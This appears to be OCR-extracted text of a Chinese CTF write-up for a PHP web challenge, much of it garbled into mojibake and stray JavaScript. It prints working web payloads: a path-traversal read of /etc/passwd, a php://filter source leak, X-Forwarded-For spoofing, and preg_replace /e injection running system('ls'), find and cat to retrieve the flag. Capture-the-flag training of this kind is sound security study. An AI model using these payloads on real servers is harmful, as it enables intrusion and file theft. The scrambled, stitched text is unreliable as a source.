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ID REH X5
> YA Y o =W = S 4 3
page T FER/F B P A RS IRIE, v LLEAT B Bk
GET Jindex php?pag fod AT Jetefpasswd ’-HTPH 1 : layui.use('element’, function() {
Host: 220.249.52. 131 var el = layui.el JIS L R, ASERRIEE, WRHcHlelemen
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:84.0) Gecko/20100101 Firsfox/@4.0 1 oy S A P
Accept: text/html application/xhtrl+xml application/xml;q=0.9 image/webp */* g=0.8 | on('nav{demo)’, function(elem) {

Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=qdpullfo82hEp03ngrjkidg3fa

Upgrade-Insecure-Requests: 1

Modified-Since: Sun, 16 Sep 2018 03:05:19 GMT

lf-Mane-Mateh: "1559-575f4539fk9e0-gzip"

Cache-Control: max-age=0

X-Forwarded-Faor: 127.0.0.1

/lconsole.log{elem)
layer.msg(elem.text();
W
»

</script>

<hr f=<hr f=<br f><br />
<div style="text-align:center">

<p class="lead">
root:x:0:0:root:/root:/bin/bash
| 1:1:d usr/shin: bi I
bin:/bin:/usr/shbin/nelogin
sys:/dev:/usr/shin/nologin
4:65534:sync:/bin:/bin/sync

ust/g usr/shin.

man:x:6:12:man:/var/cache/man:/ust/shin/nologin
z/varispool/lpd:/usr/shin/nologin
zmail:/var/mail:/usr/shin/nologin
news:/var/spool/news:/usr/shin/nolegin

uucp: 0:uucp:/ivar/spool/uucp:/usi/shin/nelogin
proxy:x:13:13:proxy:/bin:/usr/shin/nologin
www-data:x:33:33:www-data:/var/www:/usr/shin/nologin
backup:x:34:34:backup:ivar’backups:/usi/shin/nolog
list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/shin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/shin/nologin
nohody:x:65534:65534:nobody:/monexistent:/usr/shin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false

X B php://input 3 3E T, THHEEMHphp/inputskiBiflag T . &EAEHAM . HEEE&index php3C £ [E £ Ok

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:84.0) Gecka/20100101 Firsfox/4.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp ** =08
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=qdpul foB2ZhSp03ngrikidg3fh

Upgrade-Insecure-Requests: 1

I-Modified-Since: Sun, 16 Sep 2018 03:05:19 GMT

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render }
GET findex p;p?pag index.php d PMA .l table.render({
Host: 220,24 elem: "#test',

url: Ysomrthing.json’,
cellMinWidth: 80,
cols: [
[
{ type: 'numbers'},
{ type: ‘checkbox'},
{ field: 'id’, title: ID’, width: 100, unresize: true, sort: true },

{ field: 'name’, title: "i¥ % %", templet: ¥nameTpl'},



IFNONe-MAlCh: ~1558-5/ 514539109 CU-gZIp
Cache-Control: max-age=0
¥-Forwarded-For: 127.0.0.1

{ meld: ‘area’, utle: X%},
{ field: 'status’, title: "kl
{ field: ‘check’, title: "% 7T

, minWidth: 120, sort: true },
', width: 85, templet: #switchTpl', unresizi

1
I.
page: true
n
»
<fscript>
<script>
layui.use('element’, function() {
var element = layui.element; //§fi(hovers 8. — #3255 ok, Tr{icele
S 5 A
| (demo’, function(elem) {
Hconsole.log(elem)
layer.msg(elem.text{);

»

W

</script>

<hr f=<hr f=<hr f><hr />
<div style="text-align:center">

PL

R REMTIIIE, H: php://filter/read=convert.base64-encode/resource=index.php V7 I

Request

Response

Raw | Headers | Hex | HTML | Render

GET /index.phb?page=php./ffilter/read=convert.basebd-encode/resource=index. php Ii'I'I'F‘H 1
Host: 220,249 Sawds

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/himl application/xhtml+xml, application/xml, g=0 9 image/webp */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW, 9=0.7 zh-HK;q=0.5 &n-US;g=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=qdpu1faB2h5p03ngrjkid g3

Upgrade-Insecure-Requests: 1

-Modified-Since: Sun, 16 Sep 2018 03.05:19 GMT

l-None-Match: "1559-6754535fh9c0-gzip"

Cache-Control: max-age=0

X-Forwarded-For: 127.0.0.1

RIS E| E KA, RERRSE— T RIS

o B4 — Hpage I TAF AT IR I RS

L

layer.msg(elem.text();
»
n

<lscript>

<br f=<br f><br f><br />
<div style="text-align center">
<p class="|ead">

PD9waHAKZXJyb3JfomVwh3.J0aW5nKDApOwoK QHNIc3Nph25fc3RhenQoK TsKcG9zaXhfc2VO dWIKkKDEw]
j8+CiwhREIDVFIQRSBIVE1MPgo8aHRth DAKCixeZWFkPgoglCAgPG11d GEgY2hhenNIdDOidXRmL TgiPgoc
EgbmFtZT0icmVuZGVyZXIiIGNvbnRIbn Q9IndIYmtp dCl+ CiAgICABbWVOYSBo dHRwL WV xdWI2PSJYLVVB
GlibGUilGNvbnRIbnQ9IKIFPWVKZ2UsYZhyb21IPTEIPgoglCAgP G11dGEgbmFtZT0idmlld3BvenQilGNvbnRIl
RoPWRIdmIjZS13aWR0 aCwgaW5pdGlhb C12Y2FsZT0xL CBtYXhph XVILXNJYWxIPTEiPgogICAgP Gxphms;
HISZXNoZWVOIiBocmVmPSJsYXIa S9jc3Mvh GF5 dWkuY3NzliBZWRpY T0iYWxsl4KICAgIDx0aXRsZT7 orri
ThkuK3hAMBL3RpdGxIPgoglCAgP G11dGEgY2hhenNIdDOidXRmL TgiP goBLZhIYWQ-+ CgoB8Ym9ke TAKICAgl
2c20ibGF5dWkthmF21j4 KICAgICAgI CABb GkgY2xhc3M9Imxhe XVpLW5hdi1 pd GV GxheXVpLXRoaXMiPjx
JIWYWAIPWINZGVAI7kupHIubPIj7 Dor7Iplfnu? TmiqTkuK3ivAM8L2E+ P C9saTAKICAgIDwvdWw+CiAgICAS
Qg¥2xhc3MIImxheXVp LWVSZWOEZmIIh GQgbGF5dWktZmilbGQtd GI0bGUIHNOeWxIPSJY X InaWitd 5w
vi+CifalCAal CAaPGxIZ2VuZD7 oni7 I liJfooau8L2xIZ2VuZD4KICAaIDwvZmIlh GRZZX O+ CiAal CABAGFib G



$page = $_GET[page];
if (isset($page)) {

if (ctype_alnum($page)) {
div style
p class <?php echo $page; die();?></p
}else{
div style
p class

<?php

if (strpos($page,
die();

if (strpos($page,
die();

if (strpos($page,
die();

if ($page
die( )5

include($page);
die();
?>

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {

preg_replace($pattern, $replacement, $subject);
}else{
die();




o 1. FE(FH X-Forwarded-For FEBERIERATHIPKN 127.0.0.1 A AT IX BARAD
o 2. XEFEHE=AHHFRH: pat rep sub , HABMIEHEH B preg_replace() EEHIAT

* 3. preg_replace($pattern, $replacement, $subject) -— H/7— AN IENFRE X R M E R, #ZE subject FILED
pattern &4, UL replacement #HfTE#t. ZHREH Spattern IR E BT /e &, WE /5 $replacement F A
B ARG PAT

F Ay PLAgi:  2pat=/(.*)/e&rep=system('1ls')&sub=good ¥ good N system('ls') AREHTHKET /e
system('ls') W HUMALSIIT (GoZ MiABIEML: X-Forwarded-For: 127.0.0.1)

e s | s | e e [ | e | s

GET findex.phLfipalZf(.")fe&reszyslem('\s)&sungUUdIl’('lTPﬂ.1 'A <script=>
Host: 220,249 52=3d=90666 layui.use('element’, function() {
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; nv:84.0) Gecko/20100101 Firefox/54.0 var el = layui.el SIS hoverd B, EANEL AT
Accept: textthtml application/xhtml+xml application/xml;q=0.9 image/fwebp */*;¢=0.8 I A
Accept-Language: zh-CN,zh;g=0.8,zh-TW,;q=0.7 .zh-HK; q=0.5 en-US;q=0.3 en;q=0.2 | on( 1 5, fi i I {
Accept-Encoding: gzip, deflate /lconsole.log(elem)
Connection: close layer.msg(elem.text();
Cookie: PHPSESSID=qdpulfo82h5p03ngrjkidg3s HH
Upgrade-Insecure-Requests: 1 »
I-Modified-Since: Sun, 16 Sep 2018 03:05:19 GMT </script>
lMone-Match: "1559-575f4539f9c0-gzip"
Cache-Control: max-age=0 <br >Welcome My Admin ! <br >css
X¥-Forwarded-For: 127.0.0.1 index.html

index.php

ijs

layui

—

WE.png

csS

index.html

index.php

js

layui

logo.png

s3chahahaDir

start.sh

. png

</hody>

PAT: Ppat=/(.*)/e&rep=system('find+/+-name+*flag*"')&sub=good B fagtlx M (systemBH I Tk ERH+E#)

N e R e | [ | tresues | nea | o | nenue |
GET findex plt?pat=f(.')fe&rep=system(T\nd+;’+~name+'ﬂag")&sub=g00dl—IWPf1.1 : Isys/devices/platform/serial8250/tty/ttyS18/flags
Host: 220,249 S =Se=Sotnt /sys/devices/platform/serial8250/tty/ttyS19/flags
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv:84.0) Gecko/20100101 Firefox/84.0 /sys/devices/platform/serial8250/tty/ttyS20/flags
Accept: text/html, application/xhtml+xml applicationfxml;g=0.9 imagefwebp */*q=0.8 fsys/devices/platform/serial8250/tty/ttyS21/flags
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HI;q=0.5 en-US;q=0.3 en;q=0.2 /sys/devices/platform/serial8250/tty/ttyS22/flags
Accept-Encoding: gzip, deflate /sys/devices/platform/serial8250/tty/ttyS23/flags
Connection; close /sys/devices/platform/serial8250/tty/ttyS24/flags
Cookie: PHPSESSID=qdpulfo8Zhap03ngrkidg3fa /sys/devices/platform/serial8250/tty/ttyS25/flags
Upgrade-Insecure-Requests: 1 /sys/devices/platform/serial@250/tty/ttyS26/flags
I-Wodified-Since: Sun, 16 Sep 2018 03:05:19 GMT /sys/devices/platform/serial@250/tty/ttyS27 /flags
I-Naone-Match: "1559-575{4535f9c0-gzip" /sys/devices/platform/serial8250/tty/ttyS28/flags
Cache-Control: max-age=0 /sys/devices/platform/serial8250/tty/ttyS29/flags
¥-Forwarded-For: 127.0.0.1 /sys/devices/platform/serial8250/tty/ttyS30/flags

/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/imodule/scsi_mod/parameters/default_dev_flags
fusr/lib/perl/5.18.2/bits/waitflags.ph

Asar (htmls3chababalicflag

fvariwww/html/s3chahahaDirflag/flag.php

fpmtn’syslkemel!sche_d_dnm_ainfcpuﬂfdnmainﬂfﬂags
fproc/sys'kernel/sched_domain/cpul/domaini/flags
fproc/sys'kernel/sched_domain/cputl/damain0/flags

inroc/sus/kernel/sched domain/eoul/domainiiflans

AT: ?pat=/(.*)/e&rep=system('cat+/var/www/html/s3chahahaDir/flag/flag.php"')&sub=good EFH flag.php {1

Raw

Params

Raw | Headers | Hex | HTML | Render

GET findex.php?pat=/(.*)/e&rep=system('cat+ivariwww/html/s3chahahaDirflag/flag php)&fuh=gnnd HTTPA .1 . { field: 'status’, title: ', minWidth: 120, sort: true },

Host: 220,248 T 3o06 { field: "check’, title: "i& #% FF35", width: 85, templet: ¥switchTpl', unresize: true }
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rvB4.0) Gecko/20100101 Firsfox/84.0 1

Accept: text/html application/xhtml+xml application/xml; q=0.9 image/webp */*;q=0.8 1.

Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK; =05 &n-US;q=0.3 en;q=0.2 page: true

Accept-Encoding: gzip, deflate n

Connection: close LH



Cookie: PHPSESSIU=qdpulitos2hspusngrkidgsts
Upgrade-Insecure-Requests: 1

l-Modified-Since: Sun, 16 Sep 2018 03:05:19 GMT
I-None-Match: "1559-575f4539fh9c0-gzip”
Cache-Control: max-age=0

¥-Forwarded-For: 127.0.0.1

D <1 72 =}

[ ]

[ ]

] X-Forwarded-For FEhi&IP

* preg_replace E¥([ /e 7] LAIE R & 04T

</script>
<script>
layui.use('element’, function() {

var element = layui.element; // S (hoverzi B, —#
A S AL

en(nav(demo)’, function(elem) {
/iconsole.log(elem)
layer.msg(elem.text());

»

h

</script>

<br >Welcome My Admin ! <br ><?php

$flag

‘cyberpeace{d1d13155bcad41{256722ba7 Efdd7 eed);

?»
<?php

$flag = 'cyberpeace{41d19155hca94 112567 22ba7 Efdd7 eed);

7>

VHAEFH: php://filter/read=convert.base64-encode/resource=xxx i 44
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